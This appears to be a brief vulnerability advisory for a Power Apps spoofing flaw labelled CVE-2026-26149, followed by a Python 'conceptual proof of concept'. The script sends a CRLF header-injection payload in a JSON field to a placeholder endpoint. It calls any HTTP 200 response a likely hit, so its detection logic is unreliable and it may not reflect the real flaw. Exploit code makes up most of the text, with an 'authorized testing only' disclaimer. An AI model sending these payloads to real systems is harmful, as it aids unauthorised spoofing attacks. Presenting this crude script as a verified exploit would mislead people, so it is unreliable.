Improper neutralization of escape, meta, or control sequences in Microsoft Power Apps allows an authorized attacker to perform spoofing over a network.
The following code is for security research and authorized testing only.
python
import requests
# Conceptual Proof of Concept for CVE-2026-26149
# This script demonstrates how improper neutralization of control sequences
# can potentially lead to spoofing in Microsoft Power Apps.
TARGET_URL = "https://<target-powerapps-domain>/api/v1/endpoint"
ATTACKER_PAYLOAD = "\r\nX-Spoofed-Header: malicious_content"
def send_exploit():
headers = {
"User-Agent": "CVE-2026-26149-Scanner",
"Content-Type": "application/json"
}
# Injection point: simulating a vulnerable parameter
data = {
"username": "valid_user",
"description": ATTACKER_PAYLOAD # Injecting control sequences
}
try:
response = requests.post(TARGET_URL, json=data, headers=headers, timeout=10)
print(f"[+] Status Code: {response.status_code}")
# Check if the payload was reflected or caused spoofing behavior
if "malicious_content" in response.text or response.status_code == 200:
print("[+] Potential spoofing vulnerability detected!")
print("[+] Response snippet:", response.text[:200])
else:
print("[-] Exploit did not trigger expected behavior.")
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
if __name__ == "__main__":
print("[*] Starting PoC for CVE-2026-26149...")
send_exploit()